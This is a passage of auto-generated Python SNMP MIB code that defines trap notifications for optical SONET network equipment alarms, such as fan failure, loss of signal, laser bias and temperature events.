"rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFanFailures.setStatus('current') evtInvalidEQPT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33170)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInvalidEQPT.setStatus('current') evtLaserApdBiasVoltageHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33171)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserApdBiasVoltageHigh.setStatus('current') evtLaserApdBiasVoltageLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33172)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserApdBiasVoltageLow.setStatus('current') evtLBCHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33174)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLBCHigh.setStatus('current') evtLBCLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33175)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLBCLow.setStatus('current') evtLCCHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33176)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLCCHigh.setStatus('current') evtLCCLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33177)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLCCLow.setStatus('current') evtLinkError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33280)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLinkError.setStatus('current') evtLOA = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33281)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLOA.setStatus('current') evtLOF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33282)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLOF.setStatus('current') evtLOMPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33283)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLOMPath.setStatus('current') evtLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33284)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLOS.setStatus('current') evtLaserTemperatureHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33286)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserTemperatureHigh.setStatus('current') evtLaserTemperatureLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33287)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserTemperatureLow.setStatus('current') evtNeBdDataMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33289)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtNeBdDataMismatch.setStatus('current') evtNoLaserParameter = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33298)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtNoLaserParameter.setStatus('current') evtSyncReferenceSourceFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33301)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSyncReferenceSourceFailure.setStatus('current') evtSignalDegradeVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33304)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalDegradeVT.setStatus('current') evtSignalFailureVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33305)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalFailureVT.setStatus('current') evtSequenceNumberMismatchedVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33312)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSequenceNumberMismatchedVT.setStatus('current') evtSoftwareVersionMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33314)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSoftwareVersionMismatch.setStatus('current') evtTemperatureHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33315)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTemperatureHigh.setStatus('current') evtAIS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33316)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAIS.setStatus('current') evtLoopbackInhibited = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33330)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackInhibited.setStatus('current') evtLockoutOfTheProtocol = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33331)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutOfTheProtocol.setStatus('current') evtLaserShutDown = NotificationType((1, 3, 